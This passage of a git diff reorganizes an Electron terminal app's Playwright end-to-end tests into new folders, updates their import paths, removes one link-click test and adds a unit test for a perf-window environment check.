tests/e2e/helpers/terminal-tab-menu.ts rename to tests/e2e/terminal/layout/terminal-tab-menu.ts index 84797588ecb..dca3cad4ee7 100644 --- a/tests/e2e/helpers/terminal-tab-menu.ts +++ b/tests/e2e/terminal/layout/terminal-tab-menu.ts @@ -1,6 +1,6 @@ import { expect } from '@stablyai/playwright-test' import type { Locator, Page } from '@stablyai/playwright-test' -import { getActiveTabId } from './store' +import { getActiveTabId } from '../../desktop/renderer-probes/store' export const SORTABLE_TAB = '[data-testid="sortable-tab"]' diff --git a/tests/e2e/helpers/terminal-title-log.ts b/tests/e2e/terminal/layout/terminal-title-log.ts similarity index 100% rename from tests/e2e/helpers/terminal-title-log.ts rename to tests/e2e/terminal/layout/terminal-title-log.ts diff --git a/tests/e2e/automation-hidden-terminal-first-mount.spec.ts b/tests/e2e/terminal/lifecycle/automation-hidden-terminal-first-mount.spec.ts similarity index 92% rename from tests/e2e/automation-hidden-terminal-first-mount.spec.ts rename to tests/e2e/terminal/lifecycle/automation-hidden-terminal-first-mount.spec.ts index ae444b8dad5..c4279c28f35 100644 --- a/tests/e2e/automation-hidden-terminal-first-mount.spec.ts +++ b/tests/e2e/terminal/lifecycle/automation-hidden-terminal-first-mount.spec.ts @@ -1,4 +1,5 @@ -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { ensureTerminalVisible, getActiveWorktreeId, @@ -6,9 +7,11 @@ import { switchToWorktree, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' -import { getTerminalContent, waitForActiveTerminalManager } from './helpers/terminal' -import { BACKGROUND_MOUNT_TERMINAL_WORKTREE_EVENT } from '../../src/renderer/src/constants/terminal' +} from '../../desktop/renderer-probes/store' +import '../input/terminal' +import { waitForActiveTerminalManager } from '../layout/terminal-pane-operations' +import { getTerminalContent } from '../layout/terminal-pane-identity' +import { BACKGROUND_MOUNT_TERMINAL_WORKTREE_EVENT } from '../../../../src/renderer/src/constants/terminal' async function waitForHiddenTabPtyId( page: Parameters[0], diff --git a/tests/e2e/terminal-codex-home.spec.ts b/tests/e2e/terminal/lifecycle/terminal-codex-home.spec.ts similarity index 86% rename from tests/e2e/terminal-codex-home.spec.ts rename to tests/e2e/terminal/lifecycle/terminal-codex-home.spec.ts index b5a37129c21..e54fe36e8de 100644 --- a/tests/e2e/terminal-codex-home.spec.ts +++ b/tests/e2e/terminal/lifecycle/terminal-codex-home.spec.ts @@ -1,13 +1,15 @@ import { mkdirSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActivePanePtyId } from '../input/terminal' +import { execInTerminal, waitForActiveTerminalManager } from '../layout/terminal-pane-operations' +import { getTerminalContent } from '../layout/terminal-pane-identity' import { - execInTerminal, - getTerminalContent, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' type CodexHomeProbe = { codexHome: string | null diff --git a/tests/e2e/terminal-native-ibus-window.ts b/tests/e2e/terminal/lifecycle/terminal-native-ibus-window.ts similarity index 100% rename from tests/e2e/terminal-native-ibus-window.ts rename to tests/e2e/terminal/lifecycle/terminal-native-ibus-window.ts diff --git a/tests/e2e/terminal-osc-color-queries.spec.ts b/tests/e2e/terminal/lifecycle/terminal-osc-color-queries.spec.ts similarity index 82% rename from tests/e2e/terminal-osc-color-queries.spec.ts rename to tests/e2e/terminal/lifecycle/terminal-osc-color-queries.spec.ts index 03cb37f1ac1..5353ff4f9f2 100644 --- a/tests/e2e/terminal-osc-color-queries.spec.ts +++ b/tests/e2e/terminal/lifecycle/terminal-osc-color-queries.spec.ts @@ -1,17 +1,20 @@ import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActivePanePtyId } from '../input/terminal' +import { waitForActivePaneHookDescriptor } from '../input/terminal-active-pane' +import { waitForActiveTerminalManager } from '../layout/terminal-pane-operations' import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForTerminalPtyDataInjector } from './helpers/terminal-pty-injection' + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { waitForTerminalPtyDataInjector } from '../input/terminal-pty-injection' import { clearTerminalPtyWriteLog, installTerminalPtyWriteSpy, readTerminalPtyWriteEntries -} from './helpers/terminal-pty-write-spy' +} from '../input/terminal-pty-write-spy' type TerminalTheme = { foreground: string diff --git a/tests/e2e/terminal-pty-readiness.ts b/tests/e2e/terminal/lifecycle/terminal-pty-readiness.ts similarity index 92% rename from tests/e2e/terminal-pty-readiness.ts rename to tests/e2e/terminal/lifecycle/terminal-pty-readiness.ts index 77bc7688346..76ac1b94cac 100644 --- a/tests/e2e/terminal-pty-readiness.ts +++ b/tests/e2e/terminal/lifecycle/terminal-pty-readiness.ts @@ -1,9 +1,10 @@ import { randomUUID } from 'node:crypto' import type { Page } from '@stablyai/playwright-test' import { expect } from '@stablyai/playwright-test' -import { sendToTerminal } from './helpers/terminal' -import { nodeTerminalCommand } from './terminal-node-command' -import { buildFreshShellProbeInputSequence } from './terminal-probe-input-sequence' +import '../input/terminal' +import { sendToTerminal } from '../layout/terminal-pane-operations' +import { nodeTerminalCommand } from '../input/terminal-node-command' +import { buildFreshShellProbeInputSequence } from '../input/terminal-probe-input-sequence' type TerminalPtyReadinessWindow = Window & { __paneManagers?: Map< diff --git a/tests/e2e/terminal-scroll-intent-follow.spec.ts b/tests/e2e/terminal/lifecycle/terminal-scroll-intent-follow.spec.ts similarity index 95% rename from tests/e2e/terminal-scroll-intent-follow.spec.ts rename to tests/e2e/terminal/lifecycle/terminal-scroll-intent-follow.spec.ts index c97af3347b4..def4a9b9973 100644 --- a/tests/e2e/terminal-scroll-intent-follow.spec.ts +++ b/tests/e2e/terminal/lifecycle/terminal-scroll-intent-follow.spec.ts @@ -1,15 +1,20 @@ import type { Page } from '@stablyai/playwright-test' import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from '../input/terminal' import { execInTerminal, sendToTerminal, - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, waitForActiveTerminalManager -} from './helpers/terminal' -import { waitForTerminalPtyDataInjector } from './helpers/terminal-pty-injection' +} from '../layout/terminal-pane-operations' +import { waitForActivePaneHookDescriptor } from '../input/terminal-active-pane' +import { waitForTerminalPtyDataInjector } from '../input/terminal-pty-injection' const STREAMING_FIXTURE_PATH = path.join( process.cwd(), diff --git a/tests/e2e/terminal-tab-level-binding-upgrade.spec.ts b/tests/e2e/terminal/lifecycle/terminal-tab-level-binding-upgrade.spec.ts similarity index 81% rename from tests/e2e/terminal-tab-level-binding-upgrade.spec.ts rename to tests/e2e/terminal/lifecycle/terminal-tab-level-binding-upgrade.spec.ts index 016aff63f74..a91f944c43d 100644 --- a/tests/e2e/terminal-tab-level-binding-upgrade.spec.ts +++ b/tests/e2e/terminal/lifecycle/terminal-tab-level-binding-upgrade.spec.ts @@ -7,22 +7,30 @@ import { existsSync, readFileSync, writeFileSync } from 'node:fs' import path from 'node:path' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../src/shared/orca-profiles/orca-profiles' -import type { WorkspaceSessionState } from '../../src/shared/workspace-session/workspace-session-state-types' -import { openProfileStateDatabaseReadOnly } from '../../src/main/persistence/profile-state/database/profile-state-database' -import { readProfileStateSnapshot } from '../../src/main/persistence/profile-state/documents/profile-state-documents' -import { acquireProfileStateMaintenance } from '../../src/main/persistence/profile-state/access/profile-state-access' -import { rollbackProfileState } from '../../src/main/persistence/profile-state/recovery/profile-state-recovery-command' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { ensureTerminalVisible, switchToWorktree, waitForSessionReady } from './helpers/store' +import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../../../src/shared/orca-profiles/orca-profiles' +import type { WorkspaceSessionState } from '../../../../src/shared/workspace-session/workspace-session-state-types' +import { openProfileStateDatabaseReadOnly } from '../../../../src/main/persistence/profile-state/database/profile-state-database' +import { readProfileStateSnapshot } from '../../../../src/main/persistence/profile-state/documents/profile-state-documents' +import { acquireProfileStateMaintenance } from '../../../../src/main/persistence/profile-state/access/profile-state-access' +import { rollbackProfileState } from '../../../../src/main/persistence/profile-state/recovery/profile-state-recovery-command' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { TEST_REPO_PATH_FILE } from '../../global-setup' +import { + attachRepoAndOpenTerminal, + createRestartSession +} from '../../desktop/electron-fixtures/orca-restart' +import { + ensureTerminalVisible, + switchToWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from '../input/terminal' import { execInTerminal, - waitForActivePanePtyId, waitForActiveTerminalManager, waitForTerminalOutput -} from './helpers/terminal' +} from '../layout/terminal-pane-operations' function profileDataPath(userDataDir: string): string { return path.join(userDataDir, 'profiles', DEFAULT_LOCAL_ORCA_PROFILE_ID, 'orca-data.json') diff --git a/tests/e2e/terminal-wedged-write-pipeline-recovery.spec.ts b/tests/e2e/terminal/lifecycle/terminal-wedged-write-pipeline-recovery.spec.ts similarity index 91% rename from tests/e2e/terminal-wedged-write-pipeline-recovery.spec.ts rename to tests/e2e/terminal/lifecycle/terminal-wedged-write-pipeline-recovery.spec.ts index 8c2e36f3a49..ba3d03ee154 100644 --- a/tests/e2e/terminal-wedged-write-pipeline-recovery.spec.ts +++ b/tests/e2e/terminal/lifecycle/terminal-wedged-write-pipeline-recovery.spec.ts @@ -1,12 +1,13 @@ -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { - focusActiveTerminalInput, - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../input/terminal' +import { sendToTerminal, waitForActiveTerminalManager } from '../layout/terminal-pane-operations' +import { getTerminalContent } from '../layout/terminal-pane-identity' // #8104-class freeze: xterm WriteBuffer callback throws or disposed writes lose completion, wedging future output despite a live PTY. // Verified on vendored 6.1.0-beta.287; require recovery beyond the replay guard’s wedged-release breadcrumb. diff --git a/tests/e2e/terminal-link-click-ownership.spec.ts b/tests/e2e/terminal/links/terminal-link-click-ownership.spec.ts similarity index 73% rename from tests/e2e/terminal-link-click-ownership.spec.ts rename to tests/e2e/terminal/links/terminal-link-click-ownership.spec.ts index c86146bfecb..955ca51b632 100644 --- a/tests/e2e/terminal-link-click-ownership.spec.ts +++ b/tests/e2e/terminal/links/terminal-link-click-ownership.spec.ts @@ -1,21 +1,23 @@ import { existsSync, readFileSync } from 'node:fs' import path from 'node:path' import type { Page, TestInfo } from '@playwright/test' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActivePanePtyId } from '../input/terminal' import { execInTerminal, sendToTerminal, - waitForActivePanePtyId, waitForActiveTerminalManager, waitForPaneCount, waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' - +} from '../layout/terminal-pane-operations' import { - readPanelNavigationObserver, - startPanelNavigationObserver -} from './helpers/plugin-panel-navigation-observer' + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' + +import '../../plugins/plugin-panel-navigation-observer' const FIXTURE_PATH = path.join( process.cwd(), @@ -161,53 +163,6 @@ test.describe('terminal link click ownership', () => { await sendToTerminal(orcaPage, ptyId, 'q') }) - test('explicit Open URL and Leave to terminal choices preserve direct-open modifiers', async ({ - orcaPage, - electronApp - }, testInfo) => { - const { mouseLogPath, ptyId, target } = await startMouseAwareLinkFixture(orcaPage, testInfo) - await startPanelNavigationObserver(electronApp, orcaPage.url()) - await openLegacyDisabledLinkSettings(orcaPage) - const choices = orcaPage.getByRole('radiogroup', { name: 'Plain click URL behavior' }) - await choices.getByRole('radio', { name: 'Open URL', exact: true }).click() - await expect(choices.getByRole('radio', { name: 'Open URL', exact: true })).toHaveAttribute( - 'aria-checked', - 'true' - ) - await orcaPage.evaluate(() => window.__store?.getState().closeSettingsPage()) - await orcaPage.mouse.click(target.x, target.y) - await expect - .poll(async () => (await readPanelNavigationObserver(electronApp)).externalUrls) - .toEqual([LINK]) - await expectOrcaOwnedMouseOutcome(mouseLogPath) - - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.openSettingsPage() - state?.openSettingsTarget({ pane: 'browser', repoId: null }) - }) - await choices.getByRole('radio', { name: 'Leave to terminal', exact: true }).click() - await expect( - choices.getByRole('radio', { name: 'Leave to terminal', exact: true }) - ).toHaveAttribute('aria-checked', 'true') - await orcaPage.evaluate(() => window.__store?.getState().closeSettingsPage()) - await orcaPage.mouse.click(target.x, target.y) - await expectChildMouseReports(mouseLogPath) - expect((await readPanelNavigationObserver(electronApp)).externalUrls).toEqual([LINK]) - - const reportsBeforeModifiedClick = childMouseReportCount(mouseLogPath) - const modifier = process.platform === 'darwin' ? 'Meta' : 'Control' - await orcaPage.keyboard.down(modifier) - await orcaPage.mouse.click(target.x, target.y) - await orcaPage.keyboard.up(modifier) - await expect - .poll(async () => (await readPanelNavigationObserver(electronApp)).externalUrls) - .toEqual([LINK, LINK]) - await expectOrcaOwnedMouseOutcome(mouseLogPath, reportsBeforeModifiedClick) - await expect(orcaPage.locator('[data-terminal-link-action-popover]')).toHaveCount(0) - await sendToTerminal(orcaPage, ptyId, 'q') - }) - test('an Orca-owned OSC link click emits no child PTY mouse frames', async ({ orcaPage }, testInfo) => { diff --git a/tests/e2e/helpers/terminal-workspace-root-link.ts b/tests/e2e/terminal/links/terminal-workspace-root-link.ts similarity index 90% rename from tests/e2e/helpers/terminal-workspace-root-link.ts rename to tests/e2e/terminal/links/terminal-workspace-root-link.ts index ae0ab64cdf8..8484a0c2ca5 100644 --- a/tests/e2e/helpers/terminal-workspace-root-link.ts +++ b/tests/e2e/terminal/links/terminal-workspace-root-link.ts @@ -1,7 +1,9 @@ import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect } from './orca-app' -import { focusActiveTerminalInput, getTerminalContent } from './terminal' -import { quotePosixShell } from '../../../src/shared/shell/launch/shell-argument-quoting' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { focusActiveTerminalInput } from '../input/terminal' +import { getTerminalContent } from '../layout/terminal-pane-identity' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' export async function openTerminalWorkspaceRootLink( page: Page, diff --git a/tests/e2e/helpers/alt-screen-frame.ts b/tests/e2e/terminal/output/alt-screen-frame.ts similarity index 100% rename from tests/e2e/helpers/alt-screen-frame.ts rename to tests/e2e/terminal/output/alt-screen-frame.ts diff --git a/tests/e2e/artificial-opencode-active-terminal-scroll.ts b/tests/e2e/terminal/performance/artificial-opencode-active-terminal-scroll.ts similarity index 100% rename from tests/e2e/artificial-opencode-active-terminal-scroll.ts rename to tests/e2e/terminal/performance/artificial-opencode-active-terminal-scroll.ts diff --git a/tests/e2e/artificial-opencode-hidden-pressure-scenario.ts b/tests/e2e/terminal/performance/artificial-opencode-hidden-pressure-scenario.ts similarity index 97% rename from tests/e2e/artificial-opencode-hidden-pressure-scenario.ts rename to tests/e2e/terminal/performance/artificial-opencode-hidden-pressure-scenario.ts index d8dec04c2f0..27254b21ace 100644 --- a/tests/e2e/artificial-opencode-hidden-pressure-scenario.ts +++ b/tests/e2e/terminal/performance/artificial-opencode-hidden-pressure-scenario.ts @@ -14,14 +14,11 @@ import { switchToWorktree, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' -import { - resolveActiveTabId, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { readActiveScreen } from './helpers/alt-screen-frame' +} from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from '../input/terminal' +import { sendToTerminal, waitForActiveTerminalManager } from '../layout/terminal-pane-operations' +import { resolveActiveTabId } from '../layout/terminal-pane-identity' +import { readActiveScreen } from '../output/alt-screen-frame' type HiddenPressurePane = { ptyId: string diff --git a/tests/e2e/artificial-opencode-hidden-pressure-script.ts b/tests/e2e/terminal/performance/artificial-opencode-hidden-pressure-script.ts similarity index 96% rename from tests/e2e/artificial-opencode-hidden-pressure-script.ts rename to tests/e2e/terminal/performance/artificial-opencode-hidden-pressure-script.ts index 278c79e61c9..27a25b0c71b 100644 --- a/tests/e2e/artificial-opencode-hidden-pressure-script.ts +++ b/tests/e2e/terminal/performance/artificial-opencode-hidden-pressure-script.ts @@ -1,6 +1,6 @@ import { mkdirSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { HOLD_ALTERNATE_SCREEN_OPEN } from './alternate-screen-fixture-script' +import { HOLD_ALTERNATE_SCREEN_OPEN } from '../rendering/alternate-screen-fixture-script' export type HiddenPressureOutputMode = 'tui' | 'plain' | 'title' | 'latin' | 'rich-model' diff --git a/tests/e2e/artificial-opencode-pane-interactions.ts b/tests/e2e/terminal/performance/artificial-opencode-pane-interactions.ts similarity index 91% rename from tests/e2e/artificial-opencode-pane-interactions.ts rename to tests/e2e/terminal/performance/artificial-opencode-pane-interactions.ts index 99bbe42b9d3..41e3c2d6112 100644 --- a/tests/e2e/artificial-opencode-pane-interactions.ts +++ b/tests/e2e/terminal/performance/artificial-opencode-pane-interactions.ts @@ -1,14 +1,18 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './helpers/orca-app' -import { ensureTerminalVisible, getActiveWorktreeId, switchToWorktree } from './helpers/store' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + ensureTerminalVisible, + getActiveWorktreeId, + switchToWorktree +} from '../../desktop/renderer-probes/store' +import { UUID_RE } from '../input/terminal' import { - getTerminalContent, - readPaneIdentitySnapshot, splitActiveTerminalPane, - UUID_RE, - waitForActiveTerminalManager, - type PaneIdentitySnapshot -} from './helpers/terminal' + waitForActiveTerminalManager +} from '../layout/terminal-pane-operations' +import { getTerminalContent, readPaneIdentitySnapshot } from '../layout/terminal-pane-identity' +import type { PaneIdentitySnapshot } from '../layout/terminal-pane-identity' export type TerminalLoadPane = { paneKey: string diff --git a/tests/e2e/artificial-opencode-revisit-pressure-scenario.ts b/tests/e2e/terminal/performance/artificial-opencode-revisit-pressure-scenario.ts similarity index 97% rename from tests/e2e/artificial-opencode-revisit-pressure-scenario.ts rename to tests/e2e/terminal/performance/artificial-opencode-revisit-pressure-scenario.ts index c4300fe7cb5..f9ddc871ca0 100644 --- a/tests/e2e/artificial-opencode-revisit-pressure-scenario.ts +++ b/tests/e2e/terminal/performance/artificial-opencode-revisit-pressure-scenario.ts @@ -10,13 +10,10 @@ import { switchToWorktree, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' +} from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from '../input/terminal' +import { sendToTerminal, waitForActiveTerminalManager } from '../layout/terminal-pane-operations' +import { getTerminalContent } from '../layout/terminal-pane-identity' import { waitForTerminalPtyVisible } from './artificial-opencode-pane-interactions' type RevisitPressurePane = { paneKey: string; ptyId: string } diff --git a/tests/e2e/capture-opencode-tui-repro.mjs b/tests/e2e/terminal/performance/capture-opencode-tui-repro.mjs similarity index 100% rename from tests/e2e/capture-opencode-tui-repro.mjs rename to tests/e2e/terminal/performance/capture-opencode-tui-repro.mjs diff --git a/tests/e2e/in-app-typing-diagnostic.ts b/tests/e2e/terminal/performance/in-app-typing-diagnostic.ts similarity index 100% rename from tests/e2e/in-app-typing-diagnostic.ts rename to tests/e2e/terminal/performance/in-app-typing-diagnostic.ts diff --git a/tests/e2e/helpers/layout-latency-probe.ts b/tests/e2e/terminal/performance/layout-latency-probe.ts similarity index 98% rename from tests/e2e/helpers/layout-latency-probe.ts rename to tests/e2e/terminal/performance/layout-latency-probe.ts index 0246ae2a23a..a6c9c171e8d 100644 --- a/tests/e2e/helpers/layout-latency-probe.ts +++ b/tests/e2e/terminal/performance/layout-latency-probe.ts @@ -2,7 +2,7 @@ // Stamp starts at the in-window command or immediately before sending an RPC. import type { Page } from '@stablyai/playwright-test' -import { SORTABLE_TAB } from './terminal-tab-menu' +import { SORTABLE_TAB } from '../layout/terminal-tab-menu' export type DrawnCondition = | { kind: 'panes'; count: number } diff --git a/tests/e2e/multi-workspace-typing-bench.ts b/tests/e2e/terminal/performance/multi-workspace-typing-bench.ts similarity index 93% rename from tests/e2e/multi-workspace-typing-bench.ts rename to tests/e2e/terminal/performance/multi-workspace-typing-bench.ts index ca0435ff30a..8dfbdfbc3bd 100644 --- a/tests/e2e/multi-workspace-typing-bench.ts +++ b/tests/e2e/terminal/performance/multi-workspace-typing-bench.ts @@ -4,23 +4,21 @@ import { createHash } from 'node:crypto' import { mkdirSync, readdirSync, readFileSync, writeFileSync } from 'node:fs' import path from 'node:path' import { withTypingRendererCpuProfile } from './typing-renderer-cpu-profile' -import { - measurePacedTyping, - type LatencyStats, - type PacedTypingMeasurement -} from './paced-terminal-typing' -import { sendToTerminal } from './helpers/terminal' +import { measurePacedTyping } from './paced-terminal-typing' +import type { LatencyStats, PacedTypingMeasurement } from './paced-terminal-typing-measurement' +import '../input/terminal' +import { sendToTerminal } from '../layout/terminal-pane-operations' import { waitForTerminalOutputForPtyId } from './artificial-opencode-pane-interactions' import { typingProbeReadyMarker } from './sustained-agent-typing-load-scripts' import type { SynchronizedOutputBlackoutSnapshot } from './synchronized-output-blackout-probe' -import type { GitChurnStats } from './git-churn-load' +import type { GitChurnStats } from '../../source-control/git-churn-load' import type { AccumulatedStatusIngressValidation, AccumulatedStatusTrafficStats -} from './accumulated-workspace-status-fixture' -import type { AccumulatedOrderTrafficStats } from './accumulated-workspace-order-fixture' +} from '../../layout/accumulated-workspaces/accumulated-workspace-status-fixture' +import type { AccumulatedOrderTrafficStats } from '../../layout/accumulated-workspaces/accumulated-workspace-order-fixture' import { withInAppTypingDiagnostic } from './in-app-typing-diagnostic' -import type { RuntimeGraphPublicationProbeSnapshot } from './runtime-graph-publication-probe' +import type { RuntimeGraphPublicationProbeSnapshot } from '../../layout/publication/runtime-graph-publication-probe' export const BENCH_ENABLED = process.env.ORCA_TYPING_BENCH === '1' @@ -63,7 +61,7 @@ export const IN_APP_DIAGNOSTIC = process.env.ORCA_TYPING_BENCH_IN_APP_DIAGNOSTIC // Outlast setup plus typing; setup cost grows with pane count. export const LOAD_DURATION_S = Math.ceil((KEY_COUNT * KEY_CADENCE_MS) / 1000) + 90 -export const RESULTS_DIR = path.resolve(__dirname, '..', 'tools', 'benchmarks', 'results') +export const RESULTS_DIR = path.resolve(__dirname, '../../../tools/benchmarks/results') export type SchedulerDebugSnapshot = { queuedChars: number @@ -105,7 +103,7 @@ export async function resetDeliveryDebug(page: Page): Promise { } export function spawnCpuPressureWorkers(): ChildProcess[] { - const workerPath = path.resolve(__dirname, '..', 'tools', 'benchmarks', 'cpu-pressure-worker.mjs') + const workerPath = path.resolve(__dirname, '../../../tools/benchmarks/cpu-pressure-worker.mjs') return Array.from({ length: CPU_WORKERS }, () => spawn(process.execPath, [workerPath, String((LOAD_DURATION_S + 120) * 1000)], { stdio: 'ignore' diff --git a/tests/e2e/paced-terminal-typing-measurement.ts b/tests/e2e/terminal/performance/paced-terminal-typing-measurement.ts similarity index 100% rename from tests/e2e/paced-terminal-typing-measurement.ts rename to tests/e2e/terminal/performance/paced-terminal-typing-measurement.ts diff --git a/tests/e2e/paced-terminal-typing.ts b/tests/e2e/terminal/performance/paced-terminal-typing.ts similarity index 97% rename from tests/e2e/paced-terminal-typing.ts rename to tests/e2e/terminal/performance/paced-terminal-typing.ts index 908509d0df9..64ad873f078 100644 --- a/tests/e2e/paced-terminal-typing.ts +++ b/tests/e2e/terminal/performance/paced-terminal-typing.ts @@ -1,6 +1,6 @@ import type { Page } from '@stablyai/playwright-test' import { existsSync, readFileSync } from 'node:fs' -import { focusActiveTerminalInput } from './helpers/terminal' +import { focusActiveTerminalInput } from '../input/terminal' import { buildPacedTypingMeasurement, PACED_TYPING_CHARACTERS, @@ -14,8 +14,6 @@ const TIMER_SAMPLE_MS = 16 const MARKER_SCAN_TRAILING_ROWS = 160 const ECHO_STRAGGLER_TIMEOUT_MS = 30_000 -export * from './paced-terminal-typing-measurement' - async function scanRecentKeyMarkerSeqs( page: Page, markerPrefix: string diff --git a/tests/e2e/sustained-agent-typing-load-scripts.ts b/tests/e2e/terminal/performance/sustained-agent-typing-load-scripts.ts similarity index 98% rename from tests/e2e/sustained-agent-typing-load-scripts.ts rename to tests/e2e/terminal/performance/sustained-agent-typing-load-scripts.ts index 94c833c3880..88532b86b8e 100644 --- a/tests/e2e/sustained-agent-typing-load-scripts.ts +++ b/tests/e2e/terminal/performance/sustained-agent-typing-load-scripts.ts @@ -5,7 +5,7 @@ import { pathToFileURL } from 'node:url' // Import fixture builders by absolute file URL because generated scripts run in disposable repos, including Windows. const PIPELINE_BENCH_URL = pathToFileURL( - path.resolve(__dirname, '..', 'tools', 'benchmarks', 'terminal-pipeline-bench.mjs') + path.resolve(__dirname, '../../../tools/benchmarks/terminal-pipeline-bench.mjs') ).href export function sustainedLoadReadyFilePath( diff --git a/tests/e2e/synchronized-output-blackout-probe.ts b/tests/e2e/terminal/performance/synchronized-output-blackout-probe.ts similarity index 100% rename from tests/e2e/synchronized-output-blackout-probe.ts rename to tests/e2e/terminal/performance/synchronized-output-blackout-probe.ts diff --git a/tests/e2e/helpers/tab-render-recorder.ts b/tests/e2e/terminal/performance/tab-render-recorder.ts similarity index 100% rename from tests/e2e/helpers/tab-render-recorder.ts rename to tests/e2e/terminal/performance/tab-render-recorder.ts diff --git a/tests/e2e/terminal-perf-presentation.ts b/tests/e2e/terminal/performance/terminal-perf-presentation.ts similarity index 100% rename from tests/e2e/terminal-perf-presentation.ts rename to tests/e2e/terminal/performance/terminal-perf-presentation.ts diff --git a/tests/e2e/terminal/performance/terminal-perf-presentation.unit.test.ts b/tests/e2e/terminal/performance/terminal-perf-presentation.unit.test.ts new file mode 100644 index 00000000000..7186e4b18d2 --- /dev/null +++ b/tests/e2e/terminal/performance/terminal-perf-presentation.unit.test.ts @@ -0,0 +1,42 @@ +import { afterEach, describe, expect, it, vi } from 'vitest' +import { shouldPresentTerminalPerfWindow } from './terminal-perf-presentation' + +describe('terminal perf window presentation', () => { + afterEach(() => vi.unstubAllGlobals()) + const isolatedDisplay = { + ORCA_E2E_TERMINAL_PERF_XVFB: '1', + ORCA_BACKGROUND_LAUNCH: '1', + GITHUB_ACTIONS: 'true', + RUNNER_ENVIRONMENT: 'github-hosted', + DISPLAY: ':99' + } + + it.each(['darwin', 'linux', 'win32'])('keeps ordinary %s runs hidden', (platform) => { + expect(shouldPresentTerminalPerfWindow({}, platform)).toBe(false) + expect( + shouldPresentTerminalPerfWindow( + { ...isolatedDisplay, ORCA_E2E_TERMINAL_PERF_XVFB: '0' }, + platform + ) + ).toBe(false) + }) + + it('permits the explicit hosted Linux CI display', () => { + expect(shouldPresentTerminalPerfWindow(isolatedDisplay, 'linux')).toBe(true) + }) + + it.each(['darwin', 'win32'])('rejects visible diagnostics on %s', (platform) => { + expect(() => shouldPresentTerminalPerfWindow(isolatedDisplay, platform)).toThrow('isolated') + }) + + it.each([ + { ...isolatedDisplay, GITHUB_ACTIONS: undefined }, + { ...isolatedDisplay, GITHUB_ACTIONS: 'false' }, + { ...isolatedDisplay, RUNNER_ENVIRONMENT: 'self-hosted' }, + { ...isolatedDisplay, RUNNER_ENVIRONMENT: undefined }, + { ...isolatedDisplay, DISPLAY: undefined }, + { ...isolatedDisplay, DISPLAY: '' } + ])('rejects a missing isolated display: %j', (env) => { + expect(() => shouldPresentTerminalPerfWindow(env, 'linux')).toThrow('isolated') + }) +}) diff --git a/tests/e2e/helpers/terminal-typing-benchmark.ts b/tests/e2e/terminal/performance/terminal-typing-benchmark.ts similarity index 93% rename from tests/e2e/helpers/terminal-typing-benchmark.ts rename to tests/e2e/terminal/performance/terminal-typing-benchmark.ts index 954a688a722..ef4108377b0 100644 --- a/tests/e2e/helpers/terminal-typing-benchmark.ts +++ b/tests/e2e/terminal/performance/terminal-typing-benchmark.ts @@ -1,5 +1,6 @@ import type { Page } from '@stablyai/playwright-test' -import { getTerminalContent } from './terminal' +import '../input/terminal' +import { getTerminalContent } from 